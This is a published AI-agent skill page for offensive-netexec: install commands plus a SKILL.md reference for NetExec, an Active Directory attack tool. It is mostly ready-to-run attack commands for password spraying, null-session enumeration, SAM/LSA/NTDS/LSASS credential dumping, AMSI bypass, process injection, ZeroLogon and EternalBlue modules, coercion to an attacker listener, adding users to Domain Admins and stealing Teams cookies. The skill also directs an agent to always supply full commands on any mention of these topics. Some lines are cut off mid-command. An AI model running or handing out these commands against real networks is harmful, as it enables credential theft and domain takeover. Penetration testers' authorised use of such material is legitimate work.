offensive-netexec skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

Use this skill whenever the user asks about NetExec (nxc) — a network exploitation and post-exploitation tool for Active Directory environments. Triggers include: any mention of 'nxc', 'netexec', 'crackmapexec' successor questions, AD enumeration, SMB/LDAP/WinRM/MSSQL/SSH/RDP/VNC/WMI/FTP/NFS protocol attacks, password spraying, credential dumping (SAM, NTDS, LSASS, DPAPI), Kerberoasting, ASREPRoasting, lateral movement, BloodHound collection, module usage, or any pentest workflow involving Windows domain environments. This skill covers ALL protocols, ALL modules, and ALL core features of NetExec. Always provide full command examples with correct flags and options.

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Install the offensive-netexec skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/active-directory/offensive-netexec ~/.claude/skills/offensive-netexec

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

NetExec (nxc) — Reference Skill

Global Syntax & Options

nxc <protocol> <target(s)> [auth options] [action options] [global options]

Available Protocols

smb ssh ldap ftp wmi winrm rdp vnc mssql nfs

Target Formats

nxc smb 192.168.1.0/24          # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28          # IP range
nxc smb dc01.corp.local         # Hostname
nxc smb ~/targets.txt           # File

Global Flags

Authentication

Core Auth Flags

-u USERNAME          # Single username
-u user1 user2       # Multiple usernames
-u ~/users.txt       # Username file

-p PASSWORD          # Plaintext password
-p 'P@ss!'           # Always quote special chars
-p='-P@ss'           # Use = for passwords starting with -

-H 'NTHASH'          # NT hash only
-H 'LM:NT'           # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

-id <cred_id>        # Use credential from nxcdb

--local-auth         # Authenticate as local user (not domain)

Domain Auth (SMB example)

nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

Local Auth

nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth

Kerberos Auth

# Auto-handle TGT using password
nxc smb dc01.corp.local -u user -p pass -k

# Use existing ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache

# Specify KDC explicitly
nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

Multi-Domain Environments

# users.txt format:
# DOMAIN1\user1
# DOMAIN2\user2
nxc smb <target> -u users.txt -p 'Password123'

Output Color Codes

RED — Authentication failed
GREEN — Authentication succeeded
MAGENTA — Password valid but account is not admin
(Pwn3d!) — Admin access / code execution available

Pwn3d! Meaning by Protocol

Password Spraying & Brute Force

# Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success

# Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt

# Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce

# Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5

# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
# Without it: every user × every password (full bruteforce)

# Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success

⚠️ OpSec: Jitter works per-host. Spraying against multiple hosts

multiplies authentication attempts. Monitor domain lockout policy before

spraying (use --pass-pol first).

SMB Protocol

Network Discovery

# Map live hosts — get OS, hostname, domain, signing, SMBv1
nxc smb 192.168.1.0/24

# Expected output:
# SMB  192.168.1.101  445  DC2016A  [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)

Enumeration

# Shares and access
nxc smb <ip> -u user -p pass --shares

# Null session share enum
nxc smb <ip> -u '' -p '' --shares

# Guest logon check
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares

# Domain users
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt

# Enumerate users by bruteforcing RIDs (no domain creds needed)
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000   # Set max RID

# Password policy (check before spraying!)
nxc smb <ip> -u user -p pass --pass-pol

# Logged-on users (requires admin)
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser

# Active Windows sessions (registry-based, no admin needed)
nxc smb <target>/24 -u user -p pass --reg-sessions
nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user'
nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'

# Active sessions via QWINSTA (admin required)
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser

# Local groups
nxc smb 192.168.1.0/24 -u user -p pass --local-group

# Disks
nxc smb 192

Spidering Shares

# Spider specific share for file pattern
nxc smb <ip> -u user -p pass --spider C\$ --pattern txt

# Spider all readable shares (list only)
nxc smb <ip> -u user -p pass -M spider_plus

# Spider and download all files
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True

# Filter by content/regex
nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'

File Operations

# Get a file
nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt

# Put a file
nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt

Command Execution

Requires admin/Pwn3d! access.

# Execute cmd command (-x)
nxc smb <ip> -u Administrator -p 'Pass' -x whoami

# Execute PowerShell command (-X)
nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'

# Force specific execution method
nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec
nxc smb <ip> -u user -p pass -x whoami --exec-method atexec
nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec

# Bypass AMSI for PowerShell
nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload

# Process Injection — run as another user's process (SYSTEM needed)
nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami

Execution method order (automatic fallback): wmiexec → atexec → smbexec

Credential Dumping via SMB

All methods below require local admin unless noted.

# SAM hashes (local accounts)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump  # fallback method

# LSA secrets (requires Domain Admin or Local Admin on DC)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump

# NTDS.dit — full AD hash dump (requires Domain Admin)
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled   # active accounts only
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss         # VSS method
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator  # multi-domain

# NTDS via ntdsutil module
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil

# NTDS via raw disk access
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS

# LSASS dump
nxc smb <ip> -u Administrator -p 'Pass' -M lsassy
nxc smb <ip> -u Administrator -p 'Pass' -M nanodump
nxc smb <ip> -u Administrator -p 'Pass' -M mimikatz  # deprecated

# DPAPI — browser cred

Vulnerability Scanning

# ZeroLogon (CVE-2020-1472)
nxc smb <ip> -u '' -p '' -M zerologon

# noPAC / Sam-The-Admin (needs creds)
nxc smb <ip> -u user -p pass -M nopac

# PrintNightmare
nxc smb <ip> -u '' -p '' -M printnightmare

# SMBGhost (CVE-2020-0796)
nxc smb <ip> -u '' -p '' -M smbghost

# EternalBlue MS17-010
nxc smb <ip> -u '' -p '' -M ms17-010

# NTLM Reflection (CVE-2025-33073) — needs creds
nxc smb <ip> -u user -p pass -M ntlm_reflection

# Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)
nxc smb <ip> -u '' -p '' -M coerce_plus
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true
nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam   # or pe, dfs, pr

# Run multiple vuln checks at once
nxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost

LAPS

# Read LAPS password (if you have a user with ReadLAPSPassword rights)
nxc smb <ip> -u laps-reader -p pass --laps
nxc smb <ip> -u laps-reader -p pass --laps customadminname  # non-default admin name

Delegation Abuse

# RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set
nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator

# S4U2Self — with computer account nearly always gets local admin
nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self

Miscellaneous SMB

# Impersonate logged-on users
nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami

# Change user password
nxc smb <ip> -u user -p pass --change-password newpassword

# Modify group membership
nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser

# Dump Teams cookies
nxc smb <ip> -u user -p pass -M teams_localdb

# Steal Teams cookies
nxc smb <ip> -u user -p pass -M steal_teams_cookies

# Check spooler / WebDAV running
nxc smb <ip> -u user -p pass -M spooler
nxc smb <ip> -u user -p pass -M webdav

# Defeating LAPS — read password if privileged
nxc smb <ip> -u privilegeduser -p pass --laps

LDAP Protocol

Authentication / Basic

nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k                        # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.local

User Enumeration

nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users            # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions   # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count            # Users with adminCount=1

Group Enumeration

nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"

Domain Info

nxc ldap <ip> -u user -p pass --dc-list          # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid  # Domain SID
nxc ldap <ip> -u user -p pass --trusts           # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota  # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath   # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet   # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing  # LDAP signing config

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